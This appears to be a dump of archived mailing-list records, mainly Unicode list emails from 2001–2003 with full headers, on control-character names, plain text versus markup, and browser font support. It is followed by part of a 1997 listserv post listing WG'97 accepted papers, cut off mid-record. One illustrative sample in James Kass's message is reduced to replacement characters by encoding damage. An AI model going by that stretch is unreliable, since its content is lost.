these six control characters were used as > far back as the > original 1963 version of ASCII, according to Mackenzie (pp. 245-247). > > I don't know about the history of U+008B and U+008C, but > again it seems > strange that the ""Unicode 1.0 name"" for these characters is > being changed at > this late date. > > I know this 1.0 name field is not subject to the same rule of > ""no changes, > ever"" that applies to the regular Character Name field, but > why should these > names be changed at all? > > On this same topic, parenthesized abbreviations have been > added to the 1.0 > names for U+000A LIFE FEED (LF), U+000C FORM FEED (FF), > U+000D CARRIAGE > RETURN (CR), and U+0085 NEXT LINE (NEL). Does the addition of these > abbreviations mean that they are now part of the official 1.0 > name, and if > so, why? Other characters typically don't have abbreviations > as part of > their names, even if they are as meaningful and as commonly > used as these, > and again it is a change from the 1.0 name we have seen for a decade. > > Perhaps I've been checking the beta files a bit TOO carefully. > > -Doug Ewell > Fullerton, California > 4-Dec-2001 22:16:57-GMT,6684;000000000001 Return-Path: Received: from unicode.org (unicode.org [209.235.17.55]) by kachifo.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id RAA10161 for ; Tue, 4 Dec 2001 17:16:56 -0500 (EST) Received: from sarasvati.unicode.org (localhost.localdomain [127.0.0.1]) by unicode.org (8.9.3/8.9.3) with ESMTP id PAA05409; Tue, 4 Dec 2001 15:17:38 -0500 Received: with LISTAR (v1.0.0; list unicode); Tue, 04 Dec 2001 15:17:38 -0500 (EST) Received: from inergen.sybase.com (inergen.sybase.com [192.138.151.43]) by unicode.org (8.9.3/8.9.3) with ESMTP id PAA05403 for ; Tue, 4 Dec 2001 15:17:38 -0500 Received: from smtp2.sybase.com (sybgate2.sybase.com [130.214.69.6]) by inergen.sybase.com with ESMTP id NAA15282; Tue, 4 Dec 2001 13:32:50 -0800 (PST) Received: from olympus.sybase.com (localhost [127.0.0.1]) by smtp2.sybase.com with ESMTP id NAA11169; Tue, 4 Dec 2001 13:33:03 -0800 (PST) Received: from birdie.sybase.com by olympus.sybase.com (8.8.8+Sun/SMI-SVR4/SybEC3.5) id NAA03115; Tue, 4 Dec 2001 13:33:01 -0800 (PST) Received: (from kenw@localhost) by birdie.sybase.com (8.8.8+Sun/8.8.8) id NAA26690; Tue, 4 Dec 2001 13:33:01 -0800 (PST) Date: Tue, 4 Dec 2001 13:33:01 -0800 (PST) From: Kenneth Whistler Message-Id: <200112042133.NAA26690@birdie.sybase.com> To: DougEwell2@cs.com Subject: Re: Unicode 1.0 names for control characters Cc: unicode@unicode.org, kenw@sybase.com X-Sun-Charset: US-ASCII X-archive-position: 466 X-listar-version: Listar v1.0.0 Sender: unicode-bounce@unicode.org Errors-to: unicode-bounce@unicode.org X-original-sender: kenw@sybase.com Precedence: bulk List-help: List-unsubscribe: List-software: Listar version 1.0.0 X-List-ID: X-list: unicode Doug wrote: > I am surprised and puzzled by the ""Unicode 1.0 Name"" changes for some of the > ASCII and Latin-1 control characters that were introduced in the latest beta > version of the Unicode 3.2 data file (UnicodeData-3.2.0d5.txt): > > U+0009 HORIZONTAL TABULATION ==> CHARACTER TABULATION > U+000B VERTICAL TABULATION ==> LINE TABULATION > U+001C FILE SEPARATOR ==> INFORMATION SEPARATOR FOUR > U+001D GROUP SEPARATOR ==> INFORMATION SEPARATOR THREE > U+001E RECORD SEPARATOR ==> INFORMATION SEPARATOR TWO > U+001F UNIT SEPARATOR ==> INFORMATION SEPARATOR ONE > U+008B PARTIAL LINE DOWN ==> PARTIAL LINE FORWARD > U+008C PARTIAL LINE UP ==> PARTIAL LINE BACKWARD Well, *someone* is clearly paying close attention! And the editors haven't even officially announced the Unicode 3.2 beta period yet. > > Were these ""new"" names (e.g. CHARACTER TABULATION) really the original > Unicode 1.0 names? No, they were not. The older names were the Unicode 1.0 names for U+0009, U+000B, U+001C..U+001F. Unicode 1.0 didn't have *any* names for C1 control codes. The official UTC doctrine now is that C0/C1 control characters do not have Unicode names, formally. But what we do is print ISO 6429 control function names as aliases in the names list for the charts. (This was an official decision by the UTC for Unicode 3.0, so is not just an editorial whim.) The mechanism that the names list generation tool currently uses for that is to print """" in the name area and to grab the Unicode 1.0 name field for the alias (if one exists). This is special-cased code just for the control characters. The simplest fix for updating the ISO 6429 names to match the actual, current 6429 standard, was simply to update the Unicode 1.0 name field for the 8 instances you cite above. Incidentally, in case you are worried about historic accuracy here, the ""Unicode 1.0 name"" field was already fully suborned for the Unicode 3.0 publication, since the ISO 6429 C1 function names were inserted into that field, even though Unicode 1.0 had *no* names at all for C1 control characters. > IMHO, the new names CHARACTER TABULATION and LINE TABULATION are much less > intuitive than HORIZONTAL TABULATION and VERTICAL TABULATION. Sometimes you > even see the abbrevations HT and VT for these two characters. The new names > appear to have been invented by someone who imagined a lack of clarity in the > old names. Kent explained the standards rationale for updating these. It is a matter of actually using the names from the published version of the standard we are nominally referring to. Incidentally, take a look also at NamesList-3.2.0d3.txt in the same BETA directory. It shows that all the older C0 names have been retained as further aliases, since they are actually more familiar to most people, as you are pointing out. > > The ""old"" names for these six control characters were used as far back as the > original 1963 version of ASCII, according to Mackenzie (pp. 245-247). Yep. Venerable names. Honored names. Useful names. > > I know this 1.0 name field is not subject to the same rule of ""no changes, > ever"" that applies to the regular Character Name field, but why should these > names be changed at all? Aliases, actually, from the Unicode point of view, not formal names. And Kent explained why update the aliases. > > On this same topic, parenthesized abbreviations have been added to the 1.0 > names for U+000A LIFE FEED (LF), U+000C FORM FEED (FF), U+000D CARRIAGE > RETURN (CR), and U+0085 NEXT LINE (NEL). Does the addition of these > abbreviations mean that they are now part of the official 1.0 name, Nope. > and if > so, why? Other characters typically don't have abbreviations as part of > their names, even if they are as meaningful and as commonly used as these, > and again it is a change from the 1.0 name we have seen for a decade. Off and on, I work at a project to backrev from UnicodeData-1.1.5.txt to produce a Unicode 1.0 version of UnicodeData.txt, as it would have been defined if such a data file had been defined at the time. (It wasn't.) If I get around to posting that, then people can use the Unicode name field itself as the documentation of what the Unicode 1.0 name was! In the meantime, if you want the old time religion for the Unicode 1.0 names, you can extract them from UnicodeData-2.0.14.txt (the version officially released with Unicode 2.0), before the field was repurposed for the Unicode 3.0 publication. > > Perhaps I've been checking the beta files a bit TOO carefully. I suppose we should add a note to UnicodeData.html, clarifying the special status of the Unicode 1.0 name field for the control characters. --Ken > > -Doug Ewell > Fullerton, California > > 20-May-2002 11:44:37-GMT,2846;000000000001 Return-Path: Received: from unicode.org (unicode.org [209.235.17.55]) by dewberry.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id MAA05325 for ; Mon, 20 May 2002 12:44:37 -0400 (EDT) Received: from sarasvati.unicode.org (localhost.localdomain [127.0.0.1]) by unicode.org (8.9.3/8.9.3) with ESMTP id MAA09865; Mon, 20 May 2002 12:04:28 -0400 Received: with ECARTIS (v1.0.0; list unicode); Mon, 20 May 2002 12:04:28 -0400 (EDT) Received: from mg01.austin.ibm.com (mg01.austin.ibm.com [192.35.232.18]) by unicode.org (8.9.3/8.9.3) with ESMTP id MAA09859 for ; Mon, 20 May 2002 12:04:27 -0400 Received: from austin.ibm.com (netmail.austin.ibm.com [9.3.7.137]) by mg01.austin.ibm.com (AIX4.3/8.9.3/8.9.3) with ESMTP id LAA16450 for ; Mon, 20 May 2002 11:05:41 -0500 Received: from popmail.austin.ibm.com (popmail.austin.ibm.com [9.53.247.178]) by austin.ibm.com (AIX4.3/8.9.3/8.9.3) with ESMTP id LAA46008 for ; Mon, 20 May 2002 11:06:14 -0500 Received: from jtcsv.com (markus2000.sanjose.ibm.com [9.43.222.33]) by popmail.austin.ibm.com (AIX4.3/8.9.3/8.7-client1.01) with ESMTP id LAA23698 for ; Mon, 20 May 2002 11:06:12 -0500 Message-ID: <3CE91F79.4000503@jtcsv.com> Date: Mon, 20 May 2002 09:08:25 -0700 From: Markus Scherer Organization: IBM User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2 X-Accept-Language: en,de,eo MIME-Version: 1.0 To: unicode Subject: Re: Encoding of symbols, and a ""lock""/""unlock"" pre-proposal References: <000e01c1fec5$367f2840$fa424244@anhmca.adelphia.net> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3240 X-ecartis-version: Ecartis v1.0.0 Sender: unicode-bounce@unicode.org Errors-to: unicode-bounce@unicode.org X-original-sender: markus.scherer@jtcsv.com Precedence: bulk List-help: List-unsubscribe: List-software: Ecartis version 1.0.0 List-ID: X-List-ID: X-list: unicode Personally, I find it counter-productive to add a hodge-podge of dingbats and miscellaneous symbols to Unicode, or any coded character set. They had practical uses when user interfaces and display systems could not handle icons and arbitrary images, but those times are long over. Witness the demise of the DOS codepages with block graphics when graphical UIs became available. In my personal opinion, I find that the inclusion of such symbols dimishes the credibility of Unicode as a standard and of the UTC as following reasonable principles and guidelines. markus 2-Jul-2002 9:15:30-GMT,4825;000000000001 Return-Path: Received: from unicode.org (unicode.org [209.235.17.55]) by marionberry.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id KAA17490 for ; Tue, 2 Jul 2002 10:15:30 -0400 (EDT) Received: from sarasvati.unicode.org (localhost.localdomain [127.0.0.1]) by unicode.org (8.9.3/8.9.3) with ESMTP id HAA20142; Tue, 2 Jul 2002 07:13:41 -0400 Received: with ECARTIS (v1.0.0; list unicode); Tue, 02 Jul 2002 07:13:40 -0400 (EDT) Received: from BOBCAT.borware.com (bobcat.borware.com [213.88.207.165]) by unicode.org (8.9.3/8.9.3) with ESMTP id HAA20132 for ; Tue, 2 Jul 2002 07:13:31 -0400 Received: by BOBCAT.borware.com with Internet Mail Service (5.5.2655.55) id ; Tue, 2 Jul 2002 15:39:02 +0200 Message-ID: From: Michael Jansson To: ""'unicode@unicode.org'"" Subject: Can browsers show text? I don't think so! Date: Tue, 2 Jul 2002 15:39:01 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2655.55) Content-Type: text/plain; charset=""iso-8859-1"" X-archive-position: 638 X-ecartis-version: Ecartis v1.0.0 Sender: unicode-bounce@unicode.org Errors-to: unicode-bounce@unicode.org X-original-sender: mjan@em2-solutions.com Precedence: bulk List-help: List-unsubscribe: List-software: Ecartis version 1.0.0 List-ID: X-List-ID: X-list: unicode Postings on this list has recently touched the topic of using various languages in web pages. Comments has been made of the use of embedded fonts (eot and pfr), as well as the lack of support for these font formats in popular browsers. This is a topic which I am very enthusiastic about, so I can not help but to add a few comments myself. Let me start by posing a question: ""Can modern browsers show text?"" Specifically, can they show text of any language and formatting on all platforms? I have to say; No they can not (possibly with the exception of the browser Nophus). The problem with browsers today is that although they may support Unicode encoding schemes (e.g. UTF8), they typically rely on the platform/OS they run on to show text. Platform without complete Unicode 3.x support will thus not be able to show text correctly. For example, IE6 (or any other modern browser) supports UTF8 but Win98 does not support Unicode 3.x. IE6 is thus not able to show Unicode text on Win98. You may of course be able to show some Unicode text on some platforms. This is far from claiming that a browser support Unicode though. At most, you may claim that a browser on a particular platform support some part of Unicode. Further more, even if a browser knew how to rendered text (e.g. know about the nitty-gritty details of glyph ordering, positioning and shaping that are language specific), you need something called a font to show text. Fonts can be provided as web resources through CSS 2, through a construct known as @font-family rules. However, there are no browser that fully support CSS 2 today, and in particular @font-family rules. There are browser that support @font-family on some platforms (e.g. for eot files on Windows). Again, this is far from claiming that a browser support fonts on the web. Modern browsers know how to show the characters 'A'-'Z' and a few other characters as long as you don't expect to format the text with a specific font. You will get into trouble as soon as you want to use a font or characters from other languages. You may find a solution for some languages and some fonts on some platforms. Yet again, this is far from claiming that modern browsers can show text. (I do not consider solutions where you have to download a 10MB+ language package to see a page in a foreign language. It's not a viable solution.) So what we have today are applications called ""web browsers"" that are very good at showing images, and animations. They are not very good at showing text, other than unformatted English text. Fortunately, there are third party solutions to work around some of the problems I mention above. Bitstreams ""FontPlayer"" (for pfr fonts for IE 5.x and Nav 4.x on Windows), MS Typography's WEFT tools (for eot fonts in IE 5.x on Windows), and our own FAIRY server solution (for eot fonts and language support in IE 5.x, Nav 4.x, Nav 6.x and Opera 5.x on Mac and Win). I do admire the work that people have done in creating quite outstanding web browsers through the years, sometimes with no other reward than peoples appreciation. I only wish that time were spent on supporting text, and not just flashy content. Regards, em2 Solutions Michael Jansson 14-Aug-2002 14:40:14-GMT,4787;000000000001 Return-Path: Received: from unicode.org (unicode.org [209.235.17.55]) by marionberry.cc.columbia.edu (8.12.3/8.12.3) with ESMTP id g7EJeE6t011805 for ; Wed, 14 Aug 2002 15:40:14 -0400 (EDT) Received: from sarasvati.unicode.org (localhost.localdomain [127.0.0.1]) by unicode.org (8.9.3/8.9.3) with ESMTP id MAA05556; Wed, 14 Aug 2002 12:51:59 -0400 Received: with ECARTIS (v1.0.0; list unicode); Wed, 14 Aug 2002 12:51:59 -0400 (EDT) Received: from inergen.sybase.com (inergen.sybase.com [192.138.151.43]) by unicode.org (8.9.3/8.9.3) with ESMTP id MAA05541 for ; Wed, 14 Aug 2002 12:51:59 -0400 Received: from smtp1.sybase.com (sybgate [10.22.97.84]) by inergen.sybase.com with ESMTP id MAA07829 for ; Wed, 14 Aug 2002 12:20:51 -0700 (PDT) Received: from smtp1.sybase.com (localhost [127.0.0.1]) by smtp1.sybase.com (Pro-8.9.3/Pro-8.9.3/sendmail 8.9.3 smtp1 2000/11/20) with ESMTP id MAA10128 for ; Wed, 14 Aug 2002 12:20:54 -0700 (PDT) Received: from olympus-dublin.sybase.com (olympus-dum.sybase.com [10.22.97.110]) by smtp1.sybase.com (Pro-8.9.3/Pro-8.9.3/sendmail 8.9.3 smtp1 2000-11-20) with ESMTP id MAA10107; Wed, 14 Aug 2002 12:20:53 -0700 (PDT) Received: from birdie.sybase.com (birdie.sybase.com [10.22.85.43]) by olympus-dublin.sybase.com (8.10.2+Sun/8.10.2) with ESMTP id g7EJKN501665; Wed, 14 Aug 2002 12:20:23 -0700 (PDT) Received: (from kenw@localhost) by birdie.sybase.com (8.8.8+Sun/8.8.8) id MAA10594; Wed, 14 Aug 2002 12:20:23 -0700 (PDT) Date: Wed, 14 Aug 2002 12:20:23 -0700 (PDT) From: Kenneth Whistler Message-Id: <200208141920.MAA10594@birdie.sybase.com> To: dewell@adelphia.net Subject: Re: Furigana Cc: unicode@unicode.org, kenw@sybase.com X-Sun-Charset: US-ASCII X-archive-position: 1867 X-ecartis-version: Ecartis v1.0.0 Sender: unicode-bounce@unicode.org Errors-to: unicode-bounce@unicode.org X-original-sender: kenw@sybase.com Precedence: bulk List-help: List-unsubscribe: List-software: Ecartis version 1.0.0 List-ID: X-List-ID: X-list: unicode Doug (and Michael also): > What if I *want* to design an annotation-aware rendering mechanism? > Suppose I read Section 13.6 and decide that, instead of just throwing > the annotation characters away, I should attempt to display them > directly above (and smaller than) the ""normal"" text, the way furigana > are displayed above kanji. > > This would work not only for typical Japanese ruby, but also for > Michael's English-or-Swedish-over-Bliss scenario. It might even be > useful in assisting beleaguered Azerbaijanis, for example, by annotating > Latin-script text with its Cyrillic equivalent. (Just a thought.) > > Would this be conformant? Well, technically conformant, but not wise. If commonly available display and rendering mechanisms are not rendering them as interlinear annotations, then you aren't really providing much assistance here by using a mechanism designed for internal anchors and trying to turn it into something it isn't really up to snuff for. Frankly, you would be much better off making use of the Ruby annotation schemes available in markup languages, which will give you better scoping and attribute mechanisms. Stop worrying a moment about ""Why are these characters standardized, and why the hedoublehockeysticks can't I use them?!"" and think about the problem that furigana or any other interlinear annotation rendering system has to address: a. How are the annotations adjusted? Left-adjusted, centered, something else? And what point(s) are they synched on? b. If the annotated text or the annotation itself consist of multiple units, are there subalignments? E.g. note note note note text text textextextext text or note note note note text text textextextext text c. Can an annotation itself be stacked into a multiline form? note note note nononononote text d. Can the text of the annotation itself in turn be annotated? e. Can the text have two or more coequal annotations? And if so, how are they aligned? e. If the annotation is in a distinct style from the text it annotates, how is that indicated and controlled? f. How is line-break controlled on a line which also has an annotation? And so on. This is all the kind of stuff that clearly smacks to me of document formatting concerns and rich text. Why anyone would consider such things to be plain text rather escapes me. --Ken 5-Nov-2002 1:05:12-GMT,3336;000000000001 Return-Path: Received: from unicode.org (unicode.org [209.235.17.55]) by marionberry.cc.columbia.edu (8.12.3/8.12.3) with ESMTP id gA565B5x008898 for ; Tue, 5 Nov 2002 01:05:12 -0500 (EST) Received: from sarasvati.unicode.org (localhost.localdomain [127.0.0.1]) by unicode.org (8.11.6/8.11.6) with ESMTP id gA55Vqn04893; Tue, 5 Nov 2002 00:31:53 -0500 Received: with ECARTIS (v1.0.0; list unicode); Tue, 05 Nov 2002 00:31:52 -0500 (EST) Received: from smtprelay2.dc3.adelphia.net (smtprelay2.dc3.adelphia.net [24.50.78.5]) by unicode.org (8.11.6/8.11.6) with ESMTP id gA55Vqn04887 for ; Tue, 5 Nov 2002 00:31:52 -0500 Received: from DouglasEwell.anhmca.adelphia.net ([68.66.66.149]) by smtprelay2.dc3.adelphia.net (Netscape Messaging Server 4.15) with SMTP id H538O708.10B; Tue, 5 Nov 2002 00:31:19 -0500 Message-ID: <00a501c2848c$88f2da20$95424244@anhmca.adelphia.net> From: ""Doug Ewell"" To: ""Unicode Mailing List"" Cc: ""Joseph Boyle"" , ""'Edward H Trager'"" References: <00CF737ADB57134A833B4A5C0146761507CBEA@SDCEXMB02.corp.siebel.com> Subject: Re: PRODUCING and DESCRIBING UTF-8 with and without BOM Date: Mon, 4 Nov 2002 21:30:57 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 X-archive-position: 3066 X-ecartis-version: Ecartis v1.0.0 Sender: unicode-bounce@unicode.org Errors-to: unicode-bounce@unicode.org X-original-sender: dewell@adelphia.net Precedence: bulk List-help: List-unsubscribe: List-software: Ecartis version 1.0.0 List-ID: X-List-ID: X-list: unicode Joseph Boyle wrote: > Newline problems are a good analogy. They still require bookkeeping of > different formats and attention in any new coding and cause new bugs, > even though the problem has been around for decades. Nobody is holding > their breath for any of the platforms to change their newline > convention to match the others or even update all their tools to deal > with the differences - bare LF still doesn't work in Notepad. Of the hundreds of little utility programs I've written over the past 10 years or so, one of the ones I still use most often is FIXCRLF, which (as you might expect) converts files between different CR/LF conventions. I have to; most text files downloaded from the Internet are LF, but most DOS/Windows tools demand CRLF. It's a shame, but hardly a surprise, that the industry could never standardize on one or the other. The invention of U+2028 LINE SEPARATOR was supposed to relieve us of all this misery -- but ironically, the success of UTF-8 has probably killed LS for good. Not only do people now expect Unicode text files to be backward-compatible with ASCII, which favors CR and/or LF instead of LS, but the single character LS requires more bytes in UTF-8 than the two characters CR and LF. -Doug Ewell Fullerton, California 18-Nov-2002 8:23:02-GMT,3207;000000000011 Return-Path: Received: from unicode.org (unicode.org [209.235.17.55]) by dewberry.cc.columbia.edu (8.12.3/8.12.3) with ESMTP id gAIDMxgv003224 for ; Mon, 18 Nov 2002 08:23:00 -0500 (EST) Received: from sarasvati.unicode.org (localhost.localdomain [127.0.0.1]) by unicode.org (8.11.6/8.11.6) with ESMTP id gAICnbb18831; Mon, 18 Nov 2002 07:49:38 -0500 Received: with ECARTIS (v1.0.0; list unicode); Mon, 18 Nov 2002 07:49:37 -0500 (EST) Received: from barry.mail.mindspring.net (barry.mail.mindspring.net [207.69.200.25]) by unicode.org (8.11.6/8.11.6) with ESMTP id gAICnbb18825 for ; Mon, 18 Nov 2002 07:49:37 -0500 Received: from 1cust138.tnt13.krk1.da.uu.net ([67.250.82.138] helo=asmusf7500) by barry.mail.mindspring.net with esmtp (Exim 3.33 #1) id 18DlLG-0005w3-00; Mon, 18 Nov 2002 07:49:31 -0500 Message-Id: <4.2.0.58.20021118044648.00af9710@popd.ix.netcom.com> X-Sender: asmusf@popd.ix.netcom.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Mon, 18 Nov 2002 04:55:32 -0800 To: ""Dominikus Scherkl"" , From: Asmus Freytag Subject: RE: The result of the plane 14 tag characters review. In-Reply-To: <2F89C141B5B67645BB56C03853757882481761@guk1d002.glueckkanj a.org> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed X-archive-position: 3360 X-ecartis-version: Ecartis v1.0.0 Sender: unicode-bounce@unicode.org Errors-to: unicode-bounce@unicode.org X-original-sender: asmusf@ix.netcom.com Precedence: bulk List-help: List-unsubscribe: List-software: Ecartis version 1.0.0 List-ID: X-List-ID: X-list: unicode At 11:50 AM 11/18/02 +0100, Dominikus Scherkl wrote: > > I agree that in this example, higher-level markup would do > > all that is necessary. >But I'd like to read a ""README.TXT"" with a plain-text editor. >These files are very common - and if they're not deprecated >using plane-14-tags would be very nice to have in an multi-language >readme (where higher-level tagging is not available). You might find it very un-nice in practice, since plain text editors/viewers are notorious for not supporting tagging of any kind. In fact, all you are likely to get are a series of uninterpreted black boxes for the tags. As a result of being monofont plain text viewers/editors are also notorious for not supporting much beyond a limited repertoire of characters [a few noble exceptions to this rule notwithstanding]. Unless a widely used plain-text protocol requires or supports these characters, they remain a solution in search of a problem. I still haven't seen evidence of such a protocol. Remember, just because something's in the standard doesn't mean that it's magically supported everywhere. If it can't be added to existing systems by simple font extension (or similar updates) it may not be supported for a long time: Until it's widely supported, it's de-facto not available to end-users. A./ 18-Nov-2002 12:13:04-GMT,2765;000000000001 Return-Path: Received: from unicode.org (unicode.org [209.235.17.55]) by marionberry.cc.columbia.edu (8.12.3/8.12.3) with ESMTP id gAIHCx1n016735 for ; Mon, 18 Nov 2002 12:13:00 -0500 (EST) Received: from sarasvati.unicode.org (localhost.localdomain [127.0.0.1]) by unicode.org (8.11.6/8.11.6) with ESMTP id gAIFaYb13489; Mon, 18 Nov 2002 10:36:35 -0500 Received: with ECARTIS (v1.0.0; list unicode); Mon, 18 Nov 2002 10:36:34 -0500 (EST) Received: from watsol.cc.columbia.edu (IDENT:cu41754@watsol.cc.columbia.edu [128.59.39.139]) by unicode.org (8.11.6/8.11.6) with ESMTP id gAIFaYb13483 for ; Mon, 18 Nov 2002 10:36:34 -0500 Received: from watsol.cc.columbia.edu (localhost [127.0.0.1]) by watsol.cc.columbia.edu (8.12.3/8.12.3) with ESMTP id gAIFaGAr006469; Mon, 18 Nov 2002 10:36:17 -0500 (EST) Received: (from fdc@localhost) by watsol.cc.columbia.edu (8.12.3/8.12.3/Submit) id gAIFaFOI006468; Mon, 18 Nov 2002 10:36:15 -0500 (EST) Date: Mon, 18 Nov 2002 10:36:14 EST From: Frank da Cruz To: Asmus Freytag Cc: ""Dominikus Scherkl"" , Subject: RE: The result of the plane 14 tag characters review. In-Reply-To: Your message of Mon, 18 Nov 2002 04:55:32 -0800 Message-ID: X-archive-position: 3365 X-ecartis-version: Ecartis v1.0.0 Sender: unicode-bounce@unicode.org Errors-to: unicode-bounce@unicode.org X-original-sender: fdc@columbia.edu Precedence: bulk List-help: List-unsubscribe: List-software: Ecartis version 1.0.0 List-ID: X-List-ID: X-list: unicode > As a result of being monofont plain text viewers/editors are also notorious > for not supporting much beyond a limited repertoire of characters [a few > noble exceptions to this rule notwithstanding]. > > Unless a widely used plain-text protocol requires or supports these > characters, they remain a solution in search of a problem. I still haven't > seen evidence of such a protocol. > We're doing our best. Kermit software supports Unicode in plain text terminal sessions: http://www.columbia.edu/kermit/glass.html and Linux is moving in that direction too (e.g. the Linux console in the latest Red Hat release, as well as many Linux / GNU plain-text utilities, now including EMACS 21.1): http://www.cl.cam.ac.uk/~mgk25/unicode.html Plain-text interactive shell and application access is still a widely used protocol, and is becoming more internationalized every day thanks to Unicode. - Frank 5-Feb-2003 20:08:56-GMT,4090;000000000001 Return-Path: Received: from unicode.org (unicode.org [209.235.17.55]) by dewberry.cc.columbia.edu (8.12.3/8.12.3) with ESMTP id h1618tPw018955 for ; Wed, 5 Feb 2003 20:08:56 -0500 (EST) Received: from sarasvati.unicode.org (localhost.localdomain [127.0.0.1]) by unicode.org (8.11.6/8.11.6) with ESMTP id h160XVc12352; Wed, 5 Feb 2003 19:33:31 -0500 Received: with ECARTIS (v1.0.0; list unicode); Wed, 05 Feb 2003 19:33:31 -0500 (EST) Received: from mtiwmhc13.worldnet.att.net (mtiwmhc13.worldnet.att.net [204.127.131.117]) by unicode.org (8.11.6/8.11.6) with ESMTP id h160XUc12346 for ; Wed, 5 Feb 2003 19:33:30 -0500 Message-Id: <200302060033.h160XUc12346@unicode.org> Received: from mtiwebc20 (mtiwebc20.worldnet.att.net[204.127.135.59]) by mtiwmhc13.worldnet.att.net (mtiwmhc13) with SMTP id <20030206003322113005j7nde>; Thu, 6 Feb 2003 00:33:22 +0000 Received: from [216.126.184.133] by mtiwebc20; Thu, 06 Feb 2003 00:33:21 +0000 From: jameskass@att.net To: unicode@unicode.org Subject: Re: VS vs. P14 (was Re: Indic Devanagari Query) Date: Thu, 06 Feb 2003 00:33:21 +0000 X-Mailer: AT&T Message Center Version 1 (Nov 25 2002) X-Authenticated-Sender: amFtZXNrYXNzQGF0dC5uZXQ= X-archive-position: 4033 X-ecartis-version: Ecartis v1.0.0 Sender: unicode-bounce@unicode.org Errors-to: unicode-bounce@unicode.org X-original-sender: jameskass@att.net Precedence: bulk List-help: List-unsubscribe: List-software: Ecartis version 1.0.0 List-ID: X-List-ID: X-list: unicode . Peter Constable wrote, > Sure, but why do we want to place so much demand on plain text when the > vast majority of content we interchange is in some form of marked-up or > rich text? Let's let plain text be that -- plain -- and look to the markup > conventions that we've invested so much in and that are working for us to > provide the kinds of thing that we designed markup for in the first place. > Besides, a ""plain-text"" file that begins and ends with p14 tags is a > marked-up file, whether someone calls it ""plain text"" or not. We have > little or no infrastructure for handling that form of markup, and a large > and increasing amount of infrastructure for handling the more typical forms > of markup. We place so much demand on plain text because we use plain text. We continue to advance from the days when ���plain text��� meant ASCII only rendered in bitmapped monospaced monochrome. We don���t rely on mark-up or higher protocols to distinguish between different European styles of quotation marks. We no longer need proprietary rich-text formats and font switching abilities to be able to display Greek and Latin text from the same file. > I repeat, plain text remains legible without anything indicating which eng > (or whatever) may be preferred by the author, and (since the requirement > for plain text is legibility) therefore this is not really an argument for > using p14 language tags. IMO. Is legibility the only requirement of plain text? Might additional requirements include appropriate, correct encoding and correct display? To illustrate a legible plain text run which displays as intended (all things being equal) yet is not appropriately encoded (this e-mail is being sent as plain text UTF-8): �������� ������������ ������������ ���������������� ���������������� ����������������������������... ������������ ������������ ���������������� �������� ���������������� ����������������* �������� ������������������������������������������������������������������������ (*���������������� ������������������������������������ ���������������������������� ������������������������������������) Clearly, correct and appropriate encoding (as well as legibility) should be a requirement of plain text. Is correct display also a valid requirement for plain text? It is for some... Respectfully, James Kass .",0,1 Stephan Hartmann ,THEORYNT@LISTSERV.NODAK.EDU,"Tue, 13 May 1997 16:40:00 -0700",WG'97 -> accepted papers,"This is the list of accepted papers to WG '97. Papers do not appear in alphabetic order in the list. For more info on the workshop see the URL: http://www.math.TU-Berlin.DE/~wg97 ---------------------------------------------------------------------------- Alimonti, Paola ""Non-oblivious Local Search for MAX 2-CCSP with Application to MAX DICUT"" Alt, Helmut; Fuchs Ulrich; Kriegel, Klaus ""On the Number of Simple Cycles in Planar Graphs"" Babel, Luitpold; Olariu, Stephan ""On the Separable-Homogeneous Decomposition of Graphs"" Babel, Luitpold; Woeginger, Gerhard J. ""Pseudo-Hamiltonian Graphs"" Bermond, Jean-Claude; Di Ianni, Miriam; Flammini, Michele ""Acyclic Orientations for Deadlock Prevention in Interconnection Networks"" Bertet, Karell; Gustedt, Jens; Morvan, Michel ""Weak-Order Extensions of an Order"" Bertoni, Alberto; Campadelli, Paola; Posenato, Roberto ""An Upper Bound of the Maximum Cut Mean"" Brandes, Ulrik; Handke, Dagmar ""NP-Completeness Results for Minimum Planar Spanners"" Brandt, Stephan ""Computing the independence number of dense triangle-free graphs"" Broersma, H. J.; Dahlhaus, E.; Kloks, T. ""Algorithms for the treewidth and minimum fill-in of HHD-free graphs"" Capelle, Christian ""Block decomposition of inheritance hierarchies"" Dahlhaus, Elias ""Minimal Elimination Ordering Inside a Given Chordal Graph"" d'Amore, Fabrizio; Iacobini, Fabio ""On-line algorithms for networks of temporal constraints"" de Fluiter, Babette; Bodlaender, Hans L. ""Parallel Algorithms for Treewidth Two"" Dinitz, Yefim; Feighelstein, Marcelo; Zaks, Shmuel ""On Optimal Graphs Embedded into Paths and Rings, with Analysis using l_1-Spheres"" Dragan, Feodor F. ""On greedy matching ordering and greedy matched graphs"" Erlebach, Thomas; Jansen, Klaus ""Off-line and On-line Call-Scheduling in Stars and Trees"" Hlineny, Petr; Kratochvil, Jan ""Computational Complexity of the Krausz Dimension of Graphs"" Kloks, Ton; Kratsch, Dieter; M""uller, Haiko ""Asteroidal Sets in Graphs"" Kratochvil, Jan; Proskurowksi, Andrzej; Telle, Jan Arne ""Complexity of colored graph covers."" Mosbah, M. ""A Syntactic Approach to Random Walks on Graphs"" Prisner, Erich ""Bicliques in graphs II: Recognizing k-path graphs and underlying graphs of line digraphs"" Sampels, Michael ""Large Networks with Small Diameter"" Skodinis, K. ""The Bounded Tree-Width Problem of Context-Free Graph Languages"" Thorup, Mikkel ""Structured Programs have Small Tree-Width and Good Register Allocation"" Uehara, Ryuhei ""A Measure of Parallelization for the Lexicographically First Maximal Subgraph Problem"" Vos, T. E. J.; Swierstra, S. D. ""Make your enemies transparant."" Wada, Koichi; Chen, Wei; Luo, Yupin; Kawaguchi, Kimio ""Optimal Fault-tolerant ATM-Routings for Biconnected Graphs"" ",0,1 Stephan Hartmann ,THEORYNT@LISTSERV.NODAK.EDU,"Tue, 13 May 1997 16:45:28 -0700",WG'97 -> programme," 23rd International Workshop on 